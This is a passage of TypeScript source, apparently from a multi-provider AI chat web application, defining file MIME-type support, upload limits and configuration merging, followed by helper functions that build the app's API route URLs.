the built-in document parser (pdf, docx, excel variants, ods/odt) */\nexport const documentParserMimeTypes = [\n excelMimeTypes,\n /^application\\/pdf$/,\n /^application\\/vnd\\.openxmlformats-officedocument\\.wordprocessingml\\.document$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.spreadsheet$/,\n /^application\\/vnd\\.oasis\\.opendocument\\.text$/,\n];\n\nexport const defaultTextMimeTypes = [/^[\\w.-]+\\/[\\w.-]+$/];\n\nexport const defaultSTTMimeTypes = [audioMimeTypes];\n\nexport const supportedMimeTypes = [\n textMimeTypes,\n excelMimeTypes,\n applicationMimeTypes,\n imageMimeTypes,\n videoMimeTypes,\n audioMimeTypes,\n /** Supported by LC Code Interpreter API */\n /^image\\/(svg|svg\\+xml)$/,\n];\n\nexport const codeInterpreterMimeTypes = [\n textMimeTypes,\n excelMimeTypes,\n applicationMimeTypes,\n imageMimeTypes,\n];\n\nexport const codeTypeMapping: { [key: string]: string } = {\n c: 'text/x-c', // .c - C source\n cs: 'text/x-csharp', // .cs - C# source\n cpp: 'text/x-c++', // .cpp - C++ source\n h: 'text/x-h', // .h - C/C++ header\n md: 'text/markdown', // .md - Markdown\n php: 'text/x-php', // .php - PHP source\n py: 'text/x-python', // .py - Python source\n rb: 'text/x-ruby', // .rb - Ruby source\n tex: 'text/x-tex', // .tex - LaTeX source\n java: 'text/x-java', // .java - Java source\n js: 'text/javascript', // .js - JavaScript source\n sh: 'application/x-sh', // .sh - Shell script\n ts: 'application/typescript', // .ts - TypeScript source\n tar: 'application/x-tar', // .tar - Tar archive\n zip: 'application/zip', // .zip - ZIP archive\n txt: 'text/plain', // .txt - Plain text file\n log: 'text/plain', // .log - Log file\n csv: 'text/csv', // .csv - Comma-separated values\n tsv: 'text/tab-separated-values', // .tsv - Tab-separated values\n parquet: 'application/x-parquet', // .parquet - Apache Parquet columnar storage\n json: 'application/json', // .json - JSON file\n xml: 'application/xml', // .xml - XML file\n html: 'text/html', // .html - HTML file\n htm: 'text/html', // .htm - HTML file\n css: 'text/css', // .css - CSS file\n yml: 'application/yaml', // .yml - YAML\n yaml: 'application/yaml', // .yaml - YAML\n sql: 'application/sql', // .sql - SQL (IANA registered)\n dart: 'text/plain', // .dart - Dart source\n coffee: 'application/vnd.coffeescript', // .coffee - CoffeeScript (IANA registered)\n go: 'text/plain', // .go - Go source\n rs: 'text/plain', // .rs - Rust source\n swift: 'text/plain', // .swift - Swift source\n kt: 'text/plain', // .kt - Kotlin source\n kts: 'text/plain', // .kts - Kotlin script\n scala: 'text/plain', // .scala - Scala source\n lua: 'text/plain', // .lua - Lua source\n r: 'text/plain', // .r - R source\n pl: 'text/plain', // .pl - Perl source\n pm: 'text/plain', // .pm - Perl module\n groovy: 'text/plain', // .groovy - Groovy source\n gradle: 'text/plain', // .gradle - Gradle build script\n clj: 'text/plain', // .clj - Clojure source\n cljs: 'text/plain', // .cljs - ClojureScript source\n cljc: 'text/plain', // .cljc - Clojure common source\n elm: 'text/plain', // .elm - Elm source\n erl: 'text/plain', // .erl - Erlang source\n hrl: 'text/plain', // .hrl - Erlang header\n ex: 'text/plain', // .ex - Elixir source\n exs: 'text/plain', // .exs - Elixir script\n hs: 'text/plain', // .hs - Haskell source\n lhs: 'text/plain', // .lhs - Literate Haskell source\n ml: 'text/plain', // .ml - OCaml source\n mli: 'text/plain', // .mli - OCaml interface\n fs: 'text/plain', // .fs - F# source\n fsx: 'text/plain', // .fsx - F# script\n lisp: 'text/plain', // .lisp - Lisp source\n cl: 'text/plain', // .cl - Common Lisp source\n scm: 'text/plain', // .scm - Scheme source\n rkt: 'text/plain', // .rkt - Racket source\n jsx: 'text/plain', // .jsx - React JSX\n tsx: 'text/plain', // .tsx - React TSX\n vue: 'text/plain', // .vue - Vue component\n svelte: 'text/plain', // .svelte - Svelte component\n astro: 'text/plain', // .astro - Astro component\n scss: 'text/plain', // .scss - SCSS source\n sass: 'text/plain', // .sass - Sass source\n less: 'text/plain', // .less - Less source\n styl: 'text/plain', // .styl - Stylus source\n toml: 'text/plain', // .toml - TOML config\n ini: 'text/plain', // .ini - INI config\n cfg: 'text/plain', // .cfg - Config file\n conf: 'text/plain', // .conf - Config file\n env: 'text/plain', // .env - Environment file\n properties: 'text/plain', // .properties - Java properties\n graphql: 'text/plain', // .graphql - GraphQL schema/query\n gql: 'text/plain', // .gql - GraphQL schema/query\n proto: 'text/plain', // .proto - Protocol Buffers\n dockerfile: 'text/plain', // Dockerfile\n makefile: 'text/plain', // Makefile\n cmake: 'text/plain', // .cmake - CMake script\n rake: 'text/plain', // .rake - Rake task\n gemspec: 'text/plain', // .gemspec - Ruby gem spec\n bash: 'text/plain', // .bash - Bash script\n zsh: 'text/plain', // .zsh - Zsh script\n fish: 'text/plain', // .fish - Fish script\n ps1: 'text/plain', // .ps1 - PowerShell script\n psm1: 'text/plain', // .psm1 - PowerShell module\n bat: 'text/plain', // .bat - Batch script\n cmd: 'text/plain', // .cmd - Windows command script\n asm: 'text/plain', // .asm - Assembly source\n s: 'text/plain', // .s - Assembly source\n v: 'text/plain', // .v - V or Verilog source\n zig: 'text/plain', // .zig - Zig source\n nim: 'text/plain', // .nim - Nim source\n cr: 'text/plain', // .cr - Crystal source\n d: 'text/plain', // .d - D source\n pas: 'text/plain', // .pas - Pascal source\n pp: 'text/plain', // .pp - Pascal/Puppet source\n f90: 'text/plain', // .f90 - Fortran 90 source\n f95: 'text/plain', // .f95 - Fortran 95 source\n f03: 'text/plain', // .f03 - Fortran 2003 source\n jl: 'text/plain', // .jl - Julia source\n m: 'text/plain', // .m - Objective-C/MATLAB source\n mm: 'text/plain', // .mm - Objective-C++ source\n ada: 'text/plain', // .ada - Ada source\n adb: 'text/plain', // .adb - Ada body\n ads: 'text/plain', // .ads - Ada spec\n cob: 'text/plain', // .cob - COBOL source\n cbl: 'text/plain', // .cbl - COBOL source\n tcl: 'text/plain', // .tcl - Tcl source\n awk: 'text/plain', // .awk - AWK script\n sed: 'text/plain', // .sed - Sed script\n odt: 'application/vnd.oasis.opendocument.text', // .odt - OpenDocument Text\n ods: 'application/vnd.oasis.opendocument.spreadsheet', // .ods - OpenDocument Spreadsheet\n odp: 'application/vnd.oasis.opendocument.presentation', // .odp - OpenDocument Presentation\n odg: 'application/vnd.oasis.opendocument.graphics', // .odg - OpenDocument Graphics\n};\n\n/** Maps image extensions to MIME types for formats browsers may not recognize */\nexport const imageTypeMapping: { [key: string]: string } = {\n heic: 'image/heic',\n heif: 'image/heif',\n};\n\n/** Normalizes non-standard MIME types that browsers may report to their canonical forms */\nexport const mimeTypeAliases: Readonly<Record<string, string>> = {\n 'text/x-python-script': 'text/x-python',\n};\n\n/**\n * Infers the MIME type from a file's extension when the browser doesn't recognize it,\n * and normalizes known non-standard MIME type aliases to their canonical forms.\n * @param fileName - The file name including its extension\n * @param currentType - The MIME type reported by the browser (may be empty string)\n * @returns The normalized or inferred MIME type; empty string if unresolvable\n */\nexport function inferMimeType(fileName: string, currentType: string): string {\n if (currentType) {\n return mimeTypeAliases[currentType] ?? currentType;\n }\n\n const extension = fileName.split('.').pop()?.toLowerCase() ?? '';\n return codeTypeMapping[extension] || imageTypeMapping[extension] || currentType;\n}\n\nexport const retrievalMimeTypes = [\n /^(text\\/(x-c|x-c\\+\\+|x-h|html|x-java|markdown|x-php|x-python|x-script\\.python|x-ruby|x-tex|plain|vtt|xml))$/,\n /^(application\\/(json|pdf|vnd\\.openxmlformats-officedocument\\.(wordprocessingml\\.document|presentationml\\.presentation)))$/,\n];\n\nexport const megabyte = 1024 * 1024;\n/** Helper function to get megabytes value */\nexport const mbToBytes = (mb: number): number => mb * megabyte;\n\nconst defaultSizeLimit = mbToBytes(512);\nconst defaultTokenLimit = 100000;\nconst assistantsFileConfig = {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n};\n\nexport const fileConfig = {\n endpoints: {\n [EModelEndpoint.assistants]: assistantsFileConfig,\n [EModelEndpoint.azureAssistants]: assistantsFileConfig,\n [EModelEndpoint.agents]: assistantsFileConfig,\n [EModelEndpoint.anthropic]: {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n },\n default: {\n fileLimit: 10,\n fileSizeLimit: defaultSizeLimit,\n totalSizeLimit: defaultSizeLimit,\n supportedMimeTypes,\n disabled: false,\n },\n },\n serverFileSizeLimit: defaultSizeLimit,\n avatarSizeLimit: mbToBytes(2),\n fileTokenLimit: defaultTokenLimit,\n clientImageResize: {\n enabled: false,\n maxWidth: 1900,\n maxHeight: 1900,\n quality: 0.92,\n },\n ocr: {\n supportedMimeTypes: defaultOCRMimeTypes,\n },\n text: {\n supportedMimeTypes: defaultTextMimeTypes,\n },\n stt: {\n supportedMimeTypes: defaultSTTMimeTypes,\n },\n checkType: function (fileType: string, supportedTypes: RegExp[] = supportedMimeTypes) {\n return supportedTypes.some((regex) => regex.test(fileType));\n },\n};\n\nconst supportedMimeTypesSchema = z\n .array(z.any())\n .optional()\n .refine(\n (mimeTypes) => {\n if (!mimeTypes) {\n return true;\n }\n return mimeTypes.every(\n (mimeType) => mimeType instanceof RegExp || typeof mimeType === 'string',\n );\n },\n {\n message: 'Each mimeType must be a string or a RegExp object.',\n },\n );\n\nexport const endpointFileConfigSchema = z.object({\n disabled: z.boolean().optional(),\n fileLimit: z.number().min(0).optional(),\n fileSizeLimit: z.number().min(0).optional(),\n totalSizeLimit: z.number().min(0).optional(),\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n});\n\nexport const fileConfigSchema = z.object({\n endpoints: z.record(endpointFileConfigSchema).optional(),\n serverFileSizeLimit: z.number().min(0).optional(),\n avatarSizeLimit: z.number().min(0).optional(),\n fileTokenLimit: z.number().min(0).optional(),\n imageGeneration: z\n .object({\n percentage: z.number().min(0).max(100).optional(),\n px: z.number().min(0).optional(),\n })\n .optional(),\n clientImageResize: z\n .object({\n enabled: z.boolean().optional(),\n maxWidth: z.number().min(0).optional(),\n maxHeight: z.number().min(0).optional(),\n quality: z.number().min(0).max(1).optional(),\n })\n .optional(),\n ocr: z\n .object({\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n })\n .optional(),\n text: z\n .object({\n supportedMimeTypes: supportedMimeTypesSchema.optional(),\n })\n .optional(),\n});\n\nexport type TFileConfig = z.infer<typeof fileConfigSchema>;\n\n/** Helper function to safely convert string patterns to RegExp objects */\nexport const convertStringsToRegex = (patterns: string[]): RegExp[] =>\n patterns.reduce((acc: RegExp[], pattern) => {\n try {\n const regex = new RegExp(pattern);\n acc.push(regex);\n } catch (error) {\n console.error(`Invalid regex pattern \"${pattern}\" skipped.`, error);\n }\n return acc;\n }, []);\n\n/**\n * Gets the appropriate endpoint file configuration with standardized lookup logic.\n *\n * @param params - Object containing fileConfig, endpoint, and optional conversationEndpoint\n * @param params.fileConfig - The merged file configuration\n * @param params.endpoint - The endpoint name to look up\n * @param params.conversationEndpoint - Optional conversation endpoint for additional context\n * @returns The endpoint file configuration or undefined\n */\n/**\n * Merges an endpoint config with the default config to ensure all fields are populated.\n * For document-supported providers, uses the comprehensive MIME type list (includes videos/audio).\n */\nfunction mergeWithDefault(\n endpointConfig: EndpointFileConfig,\n defaultConfig: EndpointFileConfig,\n endpoint?: string | null,\n): EndpointFileConfig {\n /** Use comprehensive MIME types for document-supported providers */\n const defaultMimeTypes = isDocumentSupportedProvider(endpoint)\n ? supportedMimeTypes\n : defaultConfig.supportedMimeTypes;\n\n return {\n disabled: endpointConfig.disabled ?? defaultConfig.disabled,\n fileLimit: endpointConfig.fileLimit ?? defaultConfig.fileLimit,\n fileSizeLimit: endpointConfig.fileSizeLimit ?? defaultConfig.fileSizeLimit,\n totalSizeLimit: endpointConfig.totalSizeLimit ?? defaultConfig.totalSizeLimit,\n supportedMimeTypes: endpointConfig.supportedMimeTypes ?? defaultMimeTypes,\n };\n}\n\nexport function getEndpointFileConfig(params: {\n fileConfig?: FileConfig | null;\n endpoint?: string | null;\n endpointType?: string | null;\n}): EndpointFileConfig {\n const { fileConfig: mergedFileConfig, endpoint, endpointType } = params;\n\n if (!mergedFileConfig?.endpoints) {\n return fileConfig.endpoints.default;\n }\n\n /** Compute an effective default by merging user-configured default over the base default */\n const baseDefaultConfig = fileConfig.endpoints.default;\n const userDefaultConfig = mergedFileConfig.endpoints.default;\n const defaultConfig = userDefaultConfig\n ? mergeWithDefault(userDefaultConfig, baseDefaultConfig, 'default')\n : baseDefaultConfig;\n\n const normalizedEndpoint = normalizeEndpointName(endpoint ?? '');\n const standardEndpoints = new Set([\n 'default',\n EModelEndpoint.agents,\n EModelEndpoint.assistants,\n EModelEndpoint.azureAssistants,\n EModelEndpoint.openAI,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.anthropic,\n EModelEndpoint.google,\n EModelEndpoint.bedrock,\n ]);\n\n const normalizedEndpointType = normalizeEndpointName(endpointType ?? '');\n const isCustomEndpoint =\n endpointType === EModelEndpoint.custom ||\n (!standardEndpoints.has(normalizedEndpointType) &&\n normalizedEndpoint &&\n !standardEndpoints.has(normalizedEndpoint));\n\n if (isCustomEndpoint) {\n /** 1. Check direct endpoint lookup (could be normalized or not) */\n if (endpoint && mergedFileConfig.endpoints[endpoint]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpoint], defaultConfig, endpoint);\n }\n /** 2. Check normalized endpoint lookup (skip standard endpoint keys) */\n for (const key in mergedFileConfig.endpoints) {\n if (!standardEndpoints.has(key) && normalizeEndpointName(key) === normalizedEndpoint) {\n return mergeWithDefault(mergedFileConfig.endpoints[key], defaultConfig, key);\n }\n }\n /** 3. Fallback to generic 'custom' config if any */\n if (mergedFileConfig.endpoints[EModelEndpoint.custom]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.custom],\n defaultConfig,\n endpoint,\n );\n }\n /** 4. Fallback to 'agents' (all custom endpoints are non-assistants) */\n if (mergedFileConfig.endpoints[EModelEndpoint.agents]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.agents],\n defaultConfig,\n endpoint,\n );\n }\n /** 5. Fallback to default */\n return defaultConfig;\n }\n\n /** Check endpointType first (most reliable for standard endpoints) */\n if (endpointType && mergedFileConfig.endpoints[endpointType]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpointType], defaultConfig, endpointType);\n }\n\n /** Check direct endpoint lookup */\n if (endpoint && mergedFileConfig.endpoints[endpoint]) {\n return mergeWithDefault(mergedFileConfig.endpoints[endpoint], defaultConfig, endpoint);\n }\n\n /** Check normalized endpoint */\n if (normalizedEndpoint && mergedFileConfig.endpoints[normalizedEndpoint]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[normalizedEndpoint],\n defaultConfig,\n normalizedEndpoint,\n );\n }\n\n /** Fallback to agents if endpoint is explicitly agents */\n const isAgents = isAgentsEndpoint(normalizedEndpointType || normalizedEndpoint);\n if (isAgents && mergedFileConfig.endpoints[EModelEndpoint.agents]) {\n return mergeWithDefault(\n mergedFileConfig.endpoints[EModelEndpoint.agents],\n defaultConfig,\n EModelEndpoint.agents,\n );\n }\n\n /** Return default config */\n return defaultConfig;\n}\n\nexport function mergeFileConfig(dynamic: z.infer<typeof fileConfigSchema> | undefined): FileConfig {\n const mergedConfig: FileConfig = {\n ...fileConfig,\n endpoints: {\n ...fileConfig.endpoints,\n },\n ocr: {\n ...fileConfig.ocr,\n supportedMimeTypes: fileConfig.ocr?.supportedMimeTypes || [],\n },\n text: {\n ...fileConfig.text,\n supportedMimeTypes: fileConfig.text?.supportedMimeTypes || [],\n },\n stt: {\n ...fileConfig.stt,\n supportedMimeTypes: fileConfig.stt?.supportedMimeTypes || [],\n },\n };\n if (!dynamic) {\n return mergedConfig;\n }\n\n if (dynamic.serverFileSizeLimit !== undefined) {\n mergedConfig.serverFileSizeLimit = mbToBytes(dynamic.serverFileSizeLimit);\n }\n\n if (dynamic.avatarSizeLimit !== undefined) {\n mergedConfig.avatarSizeLimit = mbToBytes(dynamic.avatarSizeLimit);\n }\n\n if (dynamic.fileTokenLimit !== undefined) {\n mergedConfig.fileTokenLimit = dynamic.fileTokenLimit;\n }\n\n // Merge clientImageResize configuration\n if (dynamic.clientImageResize !== undefined) {\n mergedConfig.clientImageResize = {\n ...mergedConfig.clientImageResize,\n ...dynamic.clientImageResize,\n };\n }\n\n if (dynamic.ocr !== undefined) {\n mergedConfig.ocr = {\n ...mergedConfig.ocr,\n ...dynamic.ocr,\n };\n if (dynamic.ocr.supportedMimeTypes) {\n mergedConfig.ocr.supportedMimeTypes = convertStringsToRegex(dynamic.ocr.supportedMimeTypes);\n }\n }\n\n if (dynamic.text !== undefined) {\n mergedConfig.text = {\n ...mergedConfig.text,\n ...dynamic.text,\n };\n if (dynamic.text.supportedMimeTypes) {\n mergedConfig.text.supportedMimeTypes = convertStringsToRegex(dynamic.text.supportedMimeTypes);\n }\n }\n\n if (!dynamic.endpoints) {\n return mergedConfig;\n }\n\n for (const key in dynamic.endpoints) {\n const dynamicEndpoint = (dynamic.endpoints as Record<string, EndpointFileConfig>)[key];\n\n /** Deep copy the base endpoint config if it exists to prevent mutation */\n if (!mergedConfig.endpoints[key]) {\n mergedConfig.endpoints[key] = {};\n } else {\n mergedConfig.endpoints[key] = { ...mergedConfig.endpoints[key] };\n }\n\n const mergedEndpoint = mergedConfig.endpoints[key];\n\n if (dynamicEndpoint.disabled === true) {\n mergedEndpoint.disabled = true;\n mergedEndpoint.fileLimit = 0;\n mergedEndpoint.fileSizeLimit = 0;\n mergedEndpoint.totalSizeLimit = 0;\n mergedEndpoint.supportedMimeTypes = [];\n continue;\n }\n\n if (dynamicEndpoint.fileSizeLimit !== undefined) {\n mergedEndpoint.fileSizeLimit = mbToBytes(dynamicEndpoint.fileSizeLimit);\n }\n\n if (dynamicEndpoint.totalSizeLimit !== undefined) {\n mergedEndpoint.totalSizeLimit = mbToBytes(dynamicEndpoint.totalSizeLimit);\n }\n\n const configKeys = ['fileLimit'] as const;\n configKeys.forEach((field) => {\n if (dynamicEndpoint[field] !== undefined) {\n mergedEndpoint[field] = dynamicEndpoint[field];\n }\n });\n\n if (dynamicEndpoint.disabled !== undefined) {\n mergedEndpoint.disabled = dynamicEndpoint.disabled;\n }\n\n if (dynamicEndpoint.supportedMimeTypes) {\n mergedEndpoint.supportedMimeTypes = convertStringsToRegex(\n dynamicEndpoint.supportedMimeTypes as unknown as string[],\n );\n }\n }\n\n return mergedConfig;\n}\n","import type { AssistantsEndpoint } from './schemas';\nimport * as q from './types/queries';\nimport { ResourceType } from './accessPermissions';\n\nlet BASE_URL = '';\nif (\n typeof process === 'undefined' ||\n (process as typeof process & { browser?: boolean }).browser === true\n) {\n // process is only available in node context, or process.browser is true in client-side code\n // This is to ensure that the BASE_URL is set correctly based on the <base>\n // element in the HTML document, if it exists.\n const baseEl = document.querySelector('base');\n BASE_URL = baseEl?.getAttribute('href') || '/';\n}\n\nif (BASE_URL && BASE_URL.endsWith('/')) {\n BASE_URL = BASE_URL.slice(0, -1);\n}\n\nexport const apiBaseUrl = () => BASE_URL;\n\n// Testing this buildQuery function\nconst buildQuery = (params: Record<string, unknown>): string => {\n const query = Object.entries(params)\n .filter(([, value]) => {\n if (Array.isArray(value)) {\n return value.length > 0;\n }\n return value !== undefined && value !== null && value !== '';\n })\n .map(([key, value]) => {\n if (Array.isArray(value)) {\n return value.map((v) => `${key}=${encodeURIComponent(v)}`).join('&');\n }\n return `${key}=${encodeURIComponent(String(value))}`;\n })\n .join('&');\n return query ? `?${query}` : '';\n};\n\nexport const health = () => `${BASE_URL}/health`;\nexport const user = () => `${BASE_URL}/api/user`;\n\nexport const balance = () => `${BASE_URL}/api/balance`;\n\nexport const userPlugins = () => `${BASE_URL}/api/user/plugins`;\n\nexport const deleteUser = () => `${BASE_URL}/api/user/delete`;\n\nconst messagesRoot = `${BASE_URL}/api/messages`;\n\nexport const messages = (params: q.MessagesListParams) => {\n const { conversationId, messageId, ...rest } = params;\n\n if (conversationId && messageId) {\n return `${messagesRoot}/${conversationId}/${messageId}`;\n }\n\n if (conversationId) {\n return `${messagesRoot}/${conversationId}`;\n }\n\n return `${messagesRoot}${buildQuery(rest)}`;\n};\n\nexport const messagesArtifacts = (messageId: string) => `${messagesRoot}/artifact/${messageId}`;\n\nexport const messagesBranch = () => `${messagesRoot}/branch`;\n\nconst shareRoot = `${BASE_URL}/api/share`;\nexport const shareMessages = (shareId: string) => `${shareRoot}/${shareId}`;\nexport const getSharedLink = (conversationId: string) => `${shareRoot}/link/${conversationId}`;\nexport const getSharedLinks = (\n pageSize: number,\n isPublic: boolean,\n sortBy: 'title' | 'createdAt',\n sortDirection: 'asc' | 'desc',\n search?: string,\n cursor?: string,\n) =>\n `${shareRoot}?pageSize=${pageSize}&isPublic=${isPublic}&sortBy=${sortBy}&sortDirection=${sortDirection}${\n search ? `&search=${search}` : ''\n }${cursor ? `&cursor=${cursor}` : ''}`;\nexport const createSharedLink = (conversationId: string) => `${shareRoot}/${conversationId}`;\nexport const updateSharedLink = (shareId: string) => `${shareRoot}/${shareId}`;\n\nconst keysEndpoint = `${BASE_URL}/api/keys`;\n\nexport const keys = () => keysEndpoint;\n\nexport const userKeyQuery = (name: string) => `${keysEndpoint}?name=${name}`;\n\nexport const revokeUserKey = (name: string) => `${keysEndpoint}/${name}`;\n\nexport const revokeAllUserKeys = () => `${keysEndpoint}?all=true`;\n\nconst apiKeysEndpoint = `${BASE_URL}/api/api-keys`;\n\nexport const apiKeys = () => apiKeysEndpoint;\n\nexport const apiKeyById = (id: string) => `${apiKeysEndpoint}/${id}`;\n\nexport const conversationsRoot = `${BASE_URL}/api/convos`;\n\nexport const conversations = (params: q.ConversationListParams) => {\n return `${conversationsRoot}${buildQuery(params)}`;\n};\n\nexport const conversationById = (id: string) => `${conversationsRoot}/${id}`;\n\nexport const genTitle = (conversationId: string) =>\n `${conversationsRoot}/gen_title/${encodeURIComponent(conversationId)}`;\n\nexport const updateConversation = () => `${conversationsRoot}/update`;\n\nexport const archiveConversation = () => `${conversationsRoot}/archive`;\n\nexport const deleteConversation = () => `${conversationsRoot}`;\n\nexport const deleteAllConversation = () => `${conversationsRoot}/all`;\n\nexport const importConversation = () => `${conversationsRoot}/import`;\n\nexport const forkConversation = () => `${conversationsRoot}/fork`;\n\nexport const duplicateConversation = () => `${conversationsRoot}/duplicate`;\n\nexport const search = (q: string, cursor?: string | null) =>\n `${BASE_URL}/api/search?q=${q}${cursor ? `&cursor=${cursor}` : ''}`;\n\nexport const searchEnabled = () => `${BASE_URL}/api/search/enable`;\n\nexport const presets = () => `${BASE_URL}/api/presets`;\n\nexport const deletePreset = () => `${BASE_URL}/api/presets/delete`;\n\nexport const aiEndpoints = () => `${BASE_URL}/api/endpoints`;\n\nexport const models = () => `${BASE_URL}/api/models`;\n\nexport const tokenizer = () => `${BASE_URL}/api/tokenizer`;\n\nexport const login = () => `${BASE_URL}/api/auth/login`;\n\nexport const logout = () => `${BASE_URL}/api/auth/logout`;\n\nexport const register = () => `${BASE_URL}/api/auth/register`;\n\nexport const loginFacebook = () => `${BASE_URL}/api/auth/facebook`;\n\nexport const loginGoogle = () => `${BASE_URL}/api/auth/google`;\n\nexport const refreshToken = (retry?: boolean) =>\n `${BASE_URL}/api/auth/refresh${retry === true ? '?retry=true' : ''}`;\n\nexport const requestPasswordReset = () => `${BASE_URL}/api/auth/requestPasswordReset`;\n\nexport const resetPassword = () => `${BASE_URL}/api/auth/resetPassword`;\n\nexport const verifyEmail = () => `${BASE_URL}/api/user/verify`;\n\n// Auth page URLs (for client-side navigation and redirects)\nexport const loginPage = () => `${BASE_URL}/login`;\nexport const registerPage = () => `${BASE_URL}/register`;\n\nconst REDIRECT_PARAM = 'redirect_to';\nconst LOGIN_PATH_RE = /(?:^|\\/)login(?:\\/|$)/;\n\n/**\n * Builds a `/login?redirect_to=...` URL from the given or current location.\n * Returns plain `/login` (no param) when already on a login route to prevent recursive nesting.\n */\nexport function buildLoginRedirectUrl(pathname?: string, search?: string, hash?: string): string {\n const p = pathname ?? window.location.pathname;\n if (LOGIN_PATH_RE.test(p)) {\n return '/login';\n }\n const s = search ?? window.location.search;\n const h = hash ?? window.location.hash;\n\n const stripped =\n BASE_URL && (p === BASE_URL || p.startsWith(BASE_URL + '/'))\n ? p.slice(BASE_URL.length) || '/'\n : p;\n const currentPath = `${stripped}${s}${h}`;\n if (!currentPath || currentPath === '/') {\n return '/login';\n }\n return `/login?${REDIRECT_PARAM}=${encodeURIComponent(currentPath)}`;\n}\n\nexport const resendVerificationEmail = () => `${BASE_URL}/api/user/verify/resend`;\n\nexport const plugins = () => `${BASE_URL}/api/plugins`;\n\nexport const mcpReinitialize = (serverName: string) =>\n `${BASE_URL}/api/mcp/${serverName}/reinitialize`;\nexport const mcpConnectionStatus = () => `${BASE_URL}/api/mcp/connection/status`;\nexport const mcpServerConnectionStatus = (serverName: string) =>\n `${BASE_URL}/api/mcp/connection/status/${serverName}`;\nexport const mcpAuthValues = (serverName: string) => {\n return `${BASE_URL}/api/mcp/${serverName}/auth-values`;\n};\n\nexport const cancelMCPOAuth = (serverName: string) => {\n return `${BASE_URL}/api/mcp/oauth/cancel/${serverName}`;\n};\n\nexport const mcpOAuthBind = (serverName: string) => `${BASE_URL}/api/mcp/${serverName}/oauth/bind`;\n\nexport const actionOAuthBind = (actionId: string) =>\n `${BASE_URL}/api/actions/${actionId}/oauth/bind`;\n\nexport const config = () => `${BASE_URL}/api/config`;\n\nexport const prompts = () => `${BASE_URL}/api/prompts`;\n\nexport const addPromptToGroup = (groupId: string) =>\n `${BASE_URL}/api/prompts/groups/${groupId}/prompts`;\n\nexport const assistants = ({\n path = '',\n options,\n version,\n endpoint,\n isAvatar,\n}: {\n path?: string;\n options?: object;\n endpoint?: AssistantsEndpoint;\n version: number | string;\n isAvatar?: boolean;\n}) => {\n let url = isAvatar === true ? `${images()}/assistants` : `${BASE_URL}/api/assistants/v${version}`;\n\n if (path && path !== '') {\n url += `/${path}`;\n }\n\n if (endpoint) {\n options = {\n ...(options ?? {}),\n endpoint,\n };\n }\n\n if (options && Object.keys(options).length > 0) {\n const queryParams = new URLSearchParams(options as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n\n return url;\n};\n\nexport const agents = ({ path = '', options }: { path?: string; options?: object }) => {\n let url = `${BASE_URL}/api/agents`;\n\n if (path && path !== '') {\n url += `/${path}`;\n }\n\n if (options && Object.keys(options).length > 0) {\n const queryParams = new URLSearchParams(options as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n\n return url;\n};\n\nexport const activeJobs = () => `${BASE_URL}/api/agents/chat/active`;\n\nexport const mcp = {\n tools: `${BASE_URL}/api/mcp/tools`,\n servers: `${BASE_URL}/api/mcp/servers`,\n};\n\nexport const mcpServer = (serverName: string) => `${BASE_URL}/api/mcp/servers/${serverName}`;\n\nexport const revertAgentVersion = (agent_id: string) => `${agents({ path: `${agent_id}/revert` })}`;\n\nexport const files = () => `${BASE_URL}/api/files`;\nexport const fileUpload = () => `${BASE_URL}/api/files`;\nexport const fileDelete = () => `${BASE_URL}/api/files`;\nexport const fileDownload = (userId: string, fileId: string) =>\n `${BASE_URL}/api/files/download/${userId}/${fileId}`;\nexport const fileConfig = () => `${BASE_URL}/api/files/config`;\nexport const agentFiles = (agentId: string) => `${BASE_URL}/api/files/agent/${agentId}`;\n\nexport const images = () => `${files()}/images`;\n\nexport const avatar = () => `${images()}/avatar`;\n\nexport const speech = () => `${files()}/speech`;\n\nexport const speechToText = () => `${speech()}/stt`;\n\nexport const textToSpeech = () => `${speech()}/tts`;\n\nexport const textToSpeechManual = () => `${textToSpeech()}/manual`;\n\nexport const textToSpeechVoices = () => `${textToSpeech()}/voices`;\n\nexport const getCustomConfigSpeech = () => `${speech()}/config/get`;\n\nexport const getPromptGroup = (_id: string) => `${prompts()}/groups/${_id}`;\n\nexport const getPromptGroupsWithFilters = (filter: object) => {\n let url = `${prompts()}/groups`;\n // Filter out undefined/null values\n const cleanedFilter = Object.entries(filter).reduce(\n (acc, [key, value]) => {\n if (value !== undefined && value !== null && value !== '') {\n acc[key] = value;\n }\n return acc;\n },\n {} as Record<string, string>,\n );\n\n if (Object.keys(cleanedFilter).length > 0) {\n const queryParams = new URLSearchParams(cleanedFilter).toString();\n url += `?${queryParams}`;\n }\n return url;\n};\n\nexport const getPromptsWithFilters = (filter: object) => {\n let url = prompts();\n if (Object.keys(filter).length > 0) {\n const queryParams = new URLSearchParams(filter as Record<string, string>).toString();\n url += `?${queryParams}`;\n }\n return url;\n};\n\nexport const getPrompt = (_id: string) => `${prompts()}/${_id}`;\n\nexport const getRandomPrompts = (limit: number, skip: number) =>\n `${prompts()}/random?limit=${limit}&skip=${skip}`;\n\nexport const postPrompt = prompts;\n\nexport const updatePromptGroup = getPromptGroup;\n\nexport const recordPromptGroupUsage = (groupId: string) => `${prompts()}/groups/${groupId}/use`;\n\nexport const updatePromptLabels = (_id: string) => `${getPrompt(_id)}/labels`;\n\nexport const updatePromptTag = (_id: string) => `${getPrompt(_id)}/tags/production`;\n\nexport const deletePromptGroup = getPromptGroup;\n\nexport const deletePrompt = ({ _id, groupId }: { _id: string; groupId: string }) => {\n return `${prompts()}/${_id}?groupId=${groupId}`;\n};\n\nexport const getCategories = () => `${BASE_URL}/api/categories`;\n\nexport const getAllPromptGroups = () => `${prompts()}/all`;\n\n/* Roles */\nexport const roles = () => `${BASE_URL}/api/roles`;\nexport const getRole = (roleName: string) => 